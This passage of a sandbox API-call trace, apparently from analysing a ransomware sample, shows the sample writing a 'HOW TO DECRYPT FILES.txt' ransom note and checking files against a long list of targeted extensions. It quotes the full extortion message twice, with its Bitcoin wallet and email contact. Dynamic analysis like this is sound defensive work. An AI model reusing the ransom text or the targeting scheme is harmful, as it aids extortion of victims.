FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" [0126.854] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt")) returned 0xffffffff [0126.854] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.855] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0126.855] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0126.855] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.855] CloseHandle (hObject=0xffffffff) returned 0 [0126.855] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="DiagPackage.diagpkg" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg") returned="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg" [0126.855] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.ems") returned 0 [0126.855] lstrlenA (lpString="*.ems") returned 5 [0126.855] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.db") returned 0 [0126.855] lstrlenA (lpString="*.db") returned 4 [0126.855] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.dbf") returned 0 [0126.855] lstrlenA (lpString="*.dbf") returned 5 [0126.855] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.myox") returned 0 [0126.855] lstrlenA (lpString="*.myox") returned 6 [0126.855] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.myo") returned 0 [0126.856] lstrlenA (lpString="*.myo") returned 5 [0126.856] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.qbw") returned 0 [0126.856] lstrlenA (lpString="*.qbw") returned 5 [0126.856] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.qbb") returned 0 [0126.856] lstrlenA (lpString="*.qbb") returned 5 [0126.856] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.qbm") returned 0 [0126.856] lstrlenA (lpString="*.qbm") returned 5 [0126.856] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.qbo") returned 0 [0126.856] lstrlenA (lpString="*.qbo") returned 5 [0126.856] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.qbx") returned 0 [0126.856] lstrlenA (lpString="*.qbx") returned 5 [0126.856] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.qba") returned 0 [0126.856] lstrlenA (lpString="*.qba") returned 5 [0126.856] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.qby") returned 0 [0126.856] lstrlenA (lpString="*.qby") returned 5 [0126.856] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.qbj") returned 0 [0126.856] lstrlenA (lpString="*.qbj") returned 5 [0126.856] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.ofx") returned 0 [0126.857] lstrlenA (lpString="*.ofx") returned 5 [0126.857] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.qif") returned 0 [0126.857] lstrlenA (lpString="*.qif") returned 5 [0126.857] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.mye") returned 0 [0126.857] lstrlenA (lpString="*.mye") returned 5 [0126.857] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.mbox") returned 0 [0126.857] lstrlenA (lpString="*.mbox") returned 6 [0126.857] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.eml") returned 0 [0126.857] lstrlenA (lpString="*.eml") returned 5 [0126.857] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.pst") returned 0 [0126.857] lstrlenA (lpString="*.pst") returned 5 [0126.857] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.ost") returned 0 [0126.857] lstrlenA (lpString="*.ost") returned 5 [0126.857] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.idx") returned 0 [0126.857] lstrlenA (lpString="*.idx") returned 5 [0126.857] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.dbx") returned 0 [0126.857] lstrlenA (lpString="*.dbx") returned 5 [0126.857] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.sql") returned 0 [0126.858] lstrlenA (lpString="*.sql") returned 5 [0126.858] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.mdb") returned 0 [0126.858] lstrlenA (lpString="*.mdb") returned 5 [0126.858] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.fdb") returned 0 [0126.858] lstrlenA (lpString="*.fdb") returned 5 [0126.858] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.wab") returned 0 [0126.858] lstrlenA (lpString="*.wab") returned 5 [0126.858] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.dat") returned 0 [0126.858] lstrlenA (lpString="*.dat") returned 5 [0126.858] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.txt") returned 0 [0126.858] lstrlenA (lpString="*.txt") returned 5 [0126.858] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.jpeg") returned 0 [0126.858] lstrlenA (lpString="*.jpeg") returned 6 [0126.858] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.jpg") returned 0 [0126.858] lstrlenA (lpString="*.jpg") returned 5 [0126.858] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.png") returned 0 [0126.858] lstrlenA (lpString="*.png") returned 5 [0126.858] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.php") returned 0 [0126.858] lstrlenA (lpString="*.php") returned 5 [0126.859] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.cs") returned 0 [0126.859] lstrlenA (lpString="*.cs") returned 4 [0126.859] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.cpp") returned 0 [0126.859] lstrlenA (lpString="*.cpp") returned 5 [0126.859] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.rar") returned 0 [0126.859] lstrlenA (lpString="*.rar") returned 5 [0126.859] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.zip") returned 0 [0126.859] lstrlenA (lpString="*.zip") returned 5 [0126.859] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.html") returned 0 [0126.859] lstrlenA (lpString="*.html") returned 6 [0126.859] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.htm") returned 0 [0126.859] lstrlenA (lpString="*.htm") returned 5 [0126.859] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.xlsx") returned 0 [0126.859] lstrlenA (lpString="*.xlsx") returned 6 [0126.859] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.xls") returned 0 [0126.859] lstrlenA (lpString="*.xls") returned 5 [0126.859] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.mp4") returned 0 [0126.859] lstrlenA (lpString="*.mp4") returned 5 [0126.860] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.ppt") returned 0 [0126.860] lstrlenA (lpString="*.ppt") returned 5 [0126.860] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.pptx") returned 0 [0126.860] lstrlenA (lpString="*.pptx") returned 6 [0126.860] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.doc") returned 0 [0126.860] lstrlenA (lpString="*.doc") returned 5 [0126.860] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.dot") returned 0 [0126.860] lstrlenA (lpString="*.dot") returned 5 [0126.860] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.docx") returned 0 [0126.860] lstrlenA (lpString="*.docx") returned 6 [0126.860] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.7z") returned 0 [0126.860] lstrlenA (lpString="*.7z") returned 4 [0126.860] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.tar") returned 0 [0126.860] lstrlenA (lpString="*.tar") returned 5 [0126.860] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.bz2") returned 0 [0126.860] lstrlenA (lpString="*.bz2") returned 5 [0126.860] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.gz") returned 0 [0126.860] lstrlenA (lpString="*.gz") returned 4 [0126.860] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.mkv") returned 0 [0126.860] lstrlenA (lpString="*.mkv") returned 5 [0126.861] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.eml") returned 0 [0126.861] lstrlenA (lpString="*.eml") returned 5 [0126.861] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.msg") returned 0 [0126.861] lstrlenA (lpString="*.msg") returned 5 [0126.861] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.edb") returned 0 [0126.861] lstrlenA (lpString="*.edb") returned 5 [0126.861] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.accdb") returned 0 [0126.861] lstrlenA (lpString="*.accdb") returned 7 [0126.861] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.odb") returned 0 [0126.861] lstrlenA (lpString="*.odb") returned 5 [0126.861] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.java") returned 0 [0126.861] lstrlenA (lpString="*.java") returned 6 [0126.862] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.asm") returned 0 [0126.862] lstrlenA (lpString="*.asm") returned 5 [0126.862] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.pfx") returned 0 [0126.862] lstrlenA (lpString="*.pfx") returned 5 [0126.862] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.pem") returned 0 [0126.862] lstrlenA (lpString="*.pem") returned 5 [0126.862] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.p12") returned 0 [0126.862] lstrlenA (lpString="*.p12") returned 5 [0126.862] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.gpg") returned 0 [0126.862] lstrlenA (lpString="*.gpg") returned 5 [0126.862] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.vsd") returned 0 [0126.863] lstrlenA (lpString="*.vsd") returned 5 [0126.863] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.odg") returned 0 [0126.863] lstrlenA (lpString="*.odg") returned 5 [0126.863] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.raw") returned 0 [0126.863] lstrlenA (lpString="*.raw") returned 5 [0126.863] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.nef") returned 0 [0126.863] lstrlenA (lpString="*.nef") returned 5 [0126.863] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.svg") returned 0 [0126.863] lstrlenA (lpString="*.svg") returned 5 [0126.863] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.psd") returned 0 [0126.863] lstrlenA (lpString="*.psd") returned 5 [0126.863] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.vmx") returned 0 [0126.863] lstrlenA (lpString="*.vmx") returned 5 [0126.863] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.vmdk") returned 0 [0126.863] lstrlenA (lpString="*.vmdk") returned 6 [0126.863] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.vdi") returned 0 [0126.863] lstrlenA (lpString="*.vdi") returned 5 [0126.863] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.lay6") returned 0 [0126.863] lstrlenA (lpString="*.lay6") returned 6 [0126.864] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.mpeg") returned 0 [0126.864] lstrlenA (lpString="*.mpeg") returned 6 [0126.864] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.djvu") returned 0 [0126.864] lstrlenA (lpString="*.djvu") returned 6 [0126.864] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.tiff") returned 0 [0126.864] lstrlenA (lpString="*.tiff") returned 6 [0126.864] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.backup") returned 0 [0126.864] lstrlenA (lpString="*.backup") returned 8 [0126.864] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.pdf") returned 0 [0126.864] lstrlenA (lpString="*.pdf") returned 5 [0126.864] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.cert") returned 0 [0126.864] lstrlenA (lpString="*.cert") returned 6 [0126.864] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.docm") returned 0 [0126.864] lstrlenA (lpString="*.docm") returned 6 [0126.864] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.xlsm") returned 0 [0126.864] lstrlenA (lpString="*.xlsm") returned 6 [0126.864] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.dwg") returned 0 [0126.864] lstrlenA (lpString="*.dwg") returned 5 [0126.865] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.nd") returned 0 [0126.865] lstrlenA (lpString="*.nd") returned 4 [0126.865] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.tlg") returned 0 [0126.865] lstrlenA (lpString="*.tlg") returned 5 [0126.865] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.lgb") returned 0 [0126.865] lstrlenA (lpString="*.lgb") returned 5 [0126.865] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.mov") returned 0 [0126.865] lstrlenA (lpString="*.mov") returned 5 [0126.865] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.xdw") returned 0 [0126.865] lstrlenA (lpString="*.xdw") returned 5 [0126.865] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.ods") returned 0 [0126.865] lstrlenA (lpString="*.ods") returned 5 [0126.865] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.wav") returned 0 [0126.865] lstrlenA (lpString="*.wav") returned 5 [0126.865] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.mp3") returned 0 [0126.865] lstrlenA (lpString="*.mp3") returned 5 [0126.865] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.aiff") returned 0 [0126.866] lstrlenA (lpString="*.aiff") returned 6 [0126.866] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.flac") returned 0 [0126.866] lstrlenA (lpString="*.flac") returned 6 [0126.866] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.m4a") returned 0 [0126.866] lstrlenA (lpString="*.m4a") returned 5 [0126.866] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg", pszSpec="*.csv") returned 0 [0126.866] lstrlenA (lpString="*.csv") returned 5 [0126.866] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe03560c, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe03560c, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x1bb33910, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.dll", cAlternateFileName="")) returned 1 [0126.866] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.866] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.dll") returned 1 [0126.866] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.dll") returned 1 [0126.866] lstrcmpiA (lpString1="", lpString2="DiagPackage.dll") returned -1 [0126.866] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.diagpkg") returned="DiagPackage.diagpkg" [0126.866] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Printer\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\") returned="C:\\Windows\\diagnostics\\system\\Printer\\" [0126.866] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Printer\\") returned="" [0126.866] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" [0126.866] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt")) returned 0xffffffff [0126.867] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\Printer\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\printer\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.867] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0126.867] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0126.867] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.867] CloseHandle (hObject=0xffffffff) returned 0 [0126.867] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\", lpString2="DiagPackage.dll" | out: lpString1="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll") returned="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll" [0126.867] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.ems") returned 0 [0126.867] lstrlenA (lpString="*.ems") returned 5 [0126.867] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.db") returned 0 [0126.867] lstrlenA (lpString="*.db") returned 4 [0126.867] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.dbf") returned 0 [0126.867] lstrlenA (lpString="*.dbf") returned 5 [0126.868] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.myox") returned 0 [0126.868] lstrlenA (lpString="*.myox") returned 6 [0126.868] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.myo") returned 0 [0126.868] lstrlenA (lpString="*.myo") returned 5 [0126.868] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.qbw") returned 0 [0126.868] lstrlenA (lpString="*.qbw") returned 5 [0126.868] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.qbb") returned 0 [0126.868] lstrlenA (lpString="*.qbb") returned 5 [0126.868] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.qbm") returned 0 [0126.868] lstrlenA (lpString="*.qbm") returned 5 [0126.868] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.qbo") returned 0 [0126.868] lstrlenA (lpString="*.qbo") returned 5 [0126.868] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.qbx") returned 0 [0126.868] lstrlenA (lpString="*.qbx") returned 5 [0126.868] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.qba") returned 0 [0126.868] lstrlenA (lpString="*.qba") returned 5 [0126.868] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.qby") returned 0 [0126.868] lstrlenA (lpString="*.qby") returned 5 [0126.868] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.qbj") returned 0 [0126.868] lstrlenA (lpString="*.qbj") returned 5 [0126.869] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.ofx") returned 0 [0126.869] lstrlenA (lpString="*.ofx") returned 5 [0126.869] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.qif") returned 0 [0126.869] lstrlenA (lpString="*.qif") returned 5 [0126.869] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.mye") returned 0 [0126.869] lstrlenA (lpString="*.mye") returned 5 [0126.869] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.mbox") returned 0 [0126.869] lstrlenA (lpString="*.mbox") returned 6 [0126.869] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.eml") returned 0 [0126.869] lstrlenA (lpString="*.eml") returned 5 [0126.869] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.pst") returned 0 [0126.869] lstrlenA (lpString="*.pst") returned 5 [0126.869] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.ost") returned 0 [0126.869] lstrlenA (lpString="*.ost") returned 5 [0126.869] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.idx") returned 0 [0126.869] lstrlenA (lpString="*.idx") returned 5 [0126.869] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.dbx") returned 0 [0126.870] lstrlenA (lpString="*.dbx") returned 5 [0126.870] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\Printer\\DiagPackage.dll", pszSpec="*.sql") returned 0 [0126.870] lstrlenA (lpString="*.sql") returned 5 [0126.870] 